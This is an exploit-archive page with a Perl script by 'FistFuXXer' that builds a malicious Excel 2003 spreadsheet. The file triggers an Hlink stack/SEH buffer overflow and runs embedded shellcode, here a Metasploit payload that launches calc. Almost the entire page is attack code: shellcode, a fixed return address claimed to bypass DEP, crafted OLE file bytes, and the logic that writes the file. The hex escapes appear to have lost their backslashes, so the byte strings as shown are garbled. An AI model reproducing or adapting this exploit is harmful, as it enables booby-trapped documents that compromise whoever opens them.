[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Microsoft Excel 2003 Hlink Stack/SEH Buffer Overflow Exploit
# Published : 2006-06-27
# Author : FistFuXXer
# Previous Title : Mac OS X <= 10.4.6 (launchd) Local Format String Exploit (ppc)
# Next Title : Sun iPlanet Messaging Server 5.2 HotFix 1.16 Root Password Disclosure
#!perl
#
# "Microsoft Office Excel 2003" Hlink Stack/SEH Overflow Exploit
#
# Author: Manuel Santamarina Suarez
#
#
# The vulnerability was discovered by 'kcope'. First click
# on the link and then on the "Yes" button to cause the stack
# overflow.
#
#
# fixed shellcode location !! Must be free of Unicode null terminators (0x0000) !!
#
$sc_addr = reverse( "x30x87xACx80" ); # excel.3087ac80 (read/write/EXECUTABLE .data section)
# bypasses hardware and software side DEP
# universal on Office Excel 2003 (German; 11.8012.6568; SP2)
#
# filename
#
$filename = 'exploit.xls';
#
# shellcode !! Must be free of Unicode null terminators (0x0000) !!
#
# win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
#
$sc = "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49".
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36".
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34".
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41".
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34".
"x42x50x42x50x42x30x4bx38x45x34x4ex43x4bx48x4ex47".
"x45x30x4ax37x41x30x4fx4ex4bx38x4fx34x4ax51x4bx48".
"x4fx55x42x42x41x30x4bx4ex49x44x4bx58x46x43x4bx58".
"x41x50x50x4ex41x33x42x4cx49x59x4ex4ax46x48x42x4c".
"x46x57x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e".
"x46x4fx4bx43x46x45x46x42x46x50x45x37x45x4ex4bx38".
"x4fx45x46x42x41x50x4bx4ex48x36x4bx58x4ex30x4bx54".
"x4bx38x4fx35x4ex51x41x50x4bx4ex4bx48x4ex41x4bx48".
"x41x50x4bx4ex49x48x4ex45x46x42x46x50x43x4cx41x53".
"x42x4cx46x36x4bx58x42x54x42x53x45x48x42x4cx4ax37".
"x4ex30x4bx48x42x34x4ex50x4bx58x42x57x4ex51x4dx4a".
"x4bx48x4ax46x4ax50x4bx4ex49x50x4bx38x42x58x42x4b".
"x42x30x42x50x42x30x4bx38x4ax56x4ex43x4fx35x41x53".
"x48x4fx42x56x48x45x49x38x4ax4fx43x48x42x4cx4bx37".
"x42x35x4ax36x50x47x4ax4dx44x4ex43x47x4ax36x4ax49".
"x50x4fx4cx48x50x50x47x55x4fx4fx47x4ex43x46x41x46".
"x4ex46x43x46x42x30x5a";
### ###
### DON'T EDIT AFTER HERE! ###
### ###
$sc_len = 5608;
$header = "xd0xcfx11xe0xa1xb1x1axe1x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x3ex00x03x00xfexffx09x00".
"x06x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00".
"x2ex00x00x00x00x00x00x00x00x10x00x00xfexffxffxff".
"x00x00x00x00xfexffxffxffx00x00x00x00x2fx00x00x00".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"x09x08x10x00x00x06x05x00xbbx0dxccx07x41x00x00x00".
"x06x00x00x00x42x00x02x00xe4x04x8dx00x02x00x00x00".
"x3dx00x12x00x00x00x00x00x5cx35xedx30x38x00x00x00".
"x00x00x01x00x58x02x22x00x02x00x00x00x31x00x15x00".
"xc8x00x00x00xffx7fx90x01x00x00x00x00x00x00x05x00".
"x41x72x69x61x6cx31x00x15x00xc8x00x00x00xffx7fx90".
"x01x00x00x00x00x00x00x05x00x41x72x69x61x6cx31x00".
"x15x00xc8x00x00x00xffx7fx90x01x00x00x00x00x00x00".
"x05x00x41x72x69x61x6cx31x00x15x00xc8x00x00x00xff".
"x7fx90x01x00x00x00x00x00x00x05x00x41x72x69x61x6c".
"x31x00x16x00xa0x00x00x00xffx7fx90x01x00x00x00x00".
"x00x00x06x00x54x61x68x6fx6dx61x31x00x15x00xc8x00".
"x00x00x0cx00x90x01x00x00x01x00x00x00x05x00x41x72".
"x69x61x6cxe0x00x14x00x00x00x00x00xf5xffx20x00x00".
"x00x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x00x00xf5xffx20x00x00xf4x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x00x00xf5xffx20x00x00".
"xf4x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x00x00xf5xffx20x00x00xf4x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x00x00xf5xffx20x00x00".
"xf4x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x00x00xf5xffx20x00x00xf4x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x00x00xf5xffx20x00x00".
"xf4x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x00x00xf5xffx20x00x00xf4x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x00x00xf5xffx20x00x00".
"xf4x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x00x00xf5xffx20x00x00xf4x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x00x00xf5xffx20x00x00".
"xf4x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x00x00xf5xffx20x00x00xf4x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x00x00xf5xffx20x00x00".
"xf4x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x00x00xf5xffx20x00x00xf4x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x00x00xf5xffx20x00x00".
"xf4x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x00x00x01x00x20x00x00x00x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x2bx00xf5xffx20x00x00".
"xf8x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x29x00xf5xffx20x00x00xf8x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x2cx00xf5xffx20x00x00".
"xf8x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x2ax00xf5xffx20x00x00xf8x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x09x00xf5xffx20x00x00".
"xf8x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x06".
"x00x00x00x01x00x20x00x00x08x00x00x00x00x00x00x00".
"x00xc0x20x93x02x04x00x10x80x03xffx93x02x04x00x11".
"x80x06xffx93x02x04x00x12x80x04xffx93x02x04x00x13".
"x80x07xffx93x02x04x00x00x80x00xffx93x02x04x00x14".
"x80x05xffx92x00xe2x00x38x00x00x00x00x00xffxffxff".
"x00xffx00x00x00x00xffx00x00x00x00xffx00xffxffx00".
"x00xffx00xffx00x00xffxffx00x80x00x00x00x00x80x00".
"x00x00x00x80x00x80x80x00x00x80x00x80x00x00x80x80".
"x00xc0xc0xc0x00x80x80x80x00x99x99xffx00x99x33x66".
"x00xffxffxccx00xccxffxffx00x66x00x66x00xffx80x80".
"x00x00x66xccx00xccxccxffx00x00x00x80x00xffx00xff".
"x00xffxffx00x00x00xffxffx00x80x00x80x00x80x00x00".
"x00x00x80x80x00x00x00xffx00x00xccxffx00xccxffxff".
"x00xccxffxccx00xffxffx99x00x99xccxffx00xffx99xcc".
"x00xccx99xffx00xffxccx99x00x33x66xffx00x33xccxcc".
"x00x99xccx00x00xffxccx00x00xffx99x00x00xffx66x00".
"x00x66x66x99x00x96x96x96x00x00x33x66x00x33x99x66".
"x00x00x33x00x00x33x33x00x00x99x33x00x00x99x33x66".
"x00x33x33x99x00x33x33x33x00x85x00x0ex00x22x04x00".
"x00x00x00x06x00x53x68x65x65x74x31xfcx00x0fx00x01".
"x00x00x00x01x00x00x00x04x00x00x4cx49x4ex4bx0ax00".
"x00x00x09x08x10x00x00x06x10x00xbbx0dxccx07x41x00".
"x00x00x06x00x00x00x2ax00x02x00x00x00x2bx00x02x00".
"x01x00x82x00x02x00x00x00x80x00x08x00x00x00x00x00".
"x00x00x00x00x25x02x04x00x00x00xffx00x81x00x02x00".
"xc1x04x14x00x03x00x00x00x00x15x00x03x00x00x00x00".
"x83x00x02x00x00x00x84x00x02x00x00x00x26x00x08x00".
"x00x00x00x00x00x00xe8x3fx27x00x08x00x00x00x00x00".
"x00x00xe8x3fx28x00x08x00x00x00x00x00x00x00xf0x3f".
"x29x00x08x00x00x00x00x00x00x00xf0x3fxa1x00x22x00".
"x00x00x64x00x01x00x00x00x00x00x02x00x58x02x58x02".
"x00x00x00x00x00x00xe0x3fx00x00x00x00x00x00xe0x3f".
"x01x00x55x00x02x00x08x00x00x02x0ex00x00x00x00x00".
"x01x00x00x00x00x00x01x00x00x00xfdx00x0ax00x00x00".
"x00x00x15x00x00x00x00x00xb8x01x1cx20x00x00x00x00".
"x00x00x00x00xd0xc9xeax79xf9xbaxcex11x8cx82x00xaa".
"x00x4bxa9x0bx02x00x00x00x03x00x00x00xe0xc9xeax79".
"xf9xbaxcex11x8cx82x00xaax00x4bxa9x0bxf2x55x00x00";
$body1 = "x3cx00x20x20";
$body2 = "x3cx00xeax15";
$footer = "x00x00x3ex02x12x00xb6x06x00x00x00x00x40x00x00x00".
"x00x00x00x00x00x00x00x00x1dx00x0fx00x03x00x00x00".
"x00x00x00x01x00x00x00x00x00x00x00x0ax00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x52x00x6fx00x6fx00x74x00".
"x20x00x45x00x6ex00x74x00x72x00x79x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x16x00x05x00xffxffxffxff".
"xffxffxffxffx01x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00xfexffxffxff".
"x00x00x00x00x00x00x00x00x57x00x6fx00x72x00x6bx00".
"x62x00x6fx00x6fx00x6bx00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x12x00x02x00xffxffxffxff".
"xffxffxffxffxffxffxffxffx00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x57x5bx00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00xffxffxffxff".
"xffxffxffxffxffxffxffxffx00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00xffxffxffxff".
"xffxffxffxffxffxffxffxffx00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x01x00x00x00x02x00x00x00".
"x03x00x00x00x04x00x00x00x05x00x00x00x06x00x00x00".
"x07x00x00x00x08x00x00x00x09x00x00x00x0ax00x00x00".
"x0bx00x00x00x0cx00x00x00x0dx00x00x00x0ex00x00x00".
"x0fx00x00x00x10x00x00x00x11x00x00x00x12x00x00x00".
"x13x00x00x00x14x00x00x00x15x00x00x00x16x00x00x00".
"x17x00x00x00x18x00x00x00x19x00x00x00x1ax00x00x00".
"x1bx00x00x00x1cx00x00x00x1dx00x00x00x1ex00x00x00".
"x1fx00x00x00x20x00x00x00x21x00x00x00x22x00x00x00".
"x23x00x00x00x24x00x00x00x25x00x00x00x26x00x00x00".
"x27x00x00x00x28x00x00x00x29x00x00x00x2ax00x00x00".
"x2bx00x00x00x2cx00x00x00x2dx00x00x00xfexffxffxff".
"xfexffxffxffxfdxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxff";
print '"Microsoft Office Excel 2003" Hlink Stack/SEH Overflow Exploit'."nn";
if( length( $sc ) > $sc_len )
{
print "[-] Error: Shellcode size exceeds $sc_len bytes!";
exit( 1 );
}
print "[+] Creating file...n";
open ( FILE, ">$filename" ) || die "[-] $!";
binmode ( FILE );
print "[+] Writing exploit into the file...n";
$fill_cnt = $sc_len - length( $sc );
for ( $i = 1; $i <= $fill_cnt; $i++ )
{
$sc = "x90$sc";
}
print FILE $header . $sc_addr x 2042 . $body1 . 'Fill' x 2056 . "$body2$sc$footer";
close ( FILE );
print "[+] Exploit file has been successfully built.";
# www.Syue.com [2006-06-27]